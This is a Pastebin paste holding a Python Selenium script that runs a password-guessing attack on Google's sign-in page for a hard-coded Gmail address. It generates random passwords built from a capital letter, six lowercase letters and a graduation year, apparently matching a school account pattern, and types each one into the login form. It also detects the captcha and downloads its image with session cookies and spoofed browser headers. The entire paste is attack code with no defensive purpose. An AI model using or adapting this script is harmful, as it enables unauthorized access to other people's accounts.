Advertisement
Guest User

Untitled

a guest
May 19th, 2019
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.49 KB | None | 0 0
  1. import random
  2. import string
  3. import time
  4. from selenium import webdriver
  5. import requests
  6. import ast
  7. # email = input("input users email:")
  8. email = ("malcolmmcdaniel@gmail.com")
  9. grad = input("input the year that they graduate:")
  10. grad = grad[2:]
  11. dic = {}
  12. num = 0
  13. a = 0
  14. #8915776
  15. check = False
  16. browser = webdriver.Chrome('/Users/mal/Downloads/chromedriver')
  17. url = ('https://accounts.google.com/ServiceLogin?passive=1209600&sacu=1&ignoreShadow=0#Email='+email)
  18. browser.get(url)
  19. def username(email):
  20. a=browser.find_element_by_xpath('//*[@id="identifierNext"]')
  21. a.click()
  22. time.sleep(1)
  23. username(email)
  24. current = browser.current_url
  25. while True:
  26. # try:
  27. if a == 0:
  28. captcha = browser.find_element_by_xpath('//*[@id="captchaimg"]')
  29. img = captcha.get_attribute('src')
  30. if img != None:
  31. a = 1
  32. check = True
  33. print('there is captcha')
  34. print(str(img))
  35. if num == 3:
  36. break
  37. stuff = (random.choice(string.ascii_uppercase) + (''.join(random.choice(string.ascii_lowercase) for x in range(6)) + str(grad)))
  38. if stuff not in dic:
  39. if check:
  40. cookie_payload = browser.get_cookies()
  41. cookie_payload = dict(cookie_payload[0])
  42. cookie_payload = cookie_payload
  43. r = requests.Session()
  44. r.headers.update({'Host' : 'accounts.google.com'})
  45. r.headers.update({'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36'})
  46. r.headers.update({'Accept' : 'image/webp,/'})
  47. r.headers.update({'Accept-Language' : 'en-US,en;q=0.5'})
  48. r.headers.update({'Accept-Encoding' : 'gzip, deflate, br'})
  49. r.headers.update({'Referer' : 'https'})
  50. r.headers.update({'DNT' : '1'})
  51. r.headers.update({'Connection' : 'keep-alive'})
  52. r.headers.update({'Cookie' : 'GAPS=1'})
  53. r.headers.update({'TE' : 'Trailers'})
  54. x = r.get(str(img),cookies=str(cookie_payload))
  55. with open('data.jpg', 'w+') as fp:
  56. fp.write(x.content)
  57. fp.close()
  58. b = browser.find_element_by_xpath('//*[@id="password"]/div[1]/div/div[1]/input')
  59. c = browser.find_element_by_xpath('//*[@id="passwordNext"]')
  60. b.send_keys(stuff)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement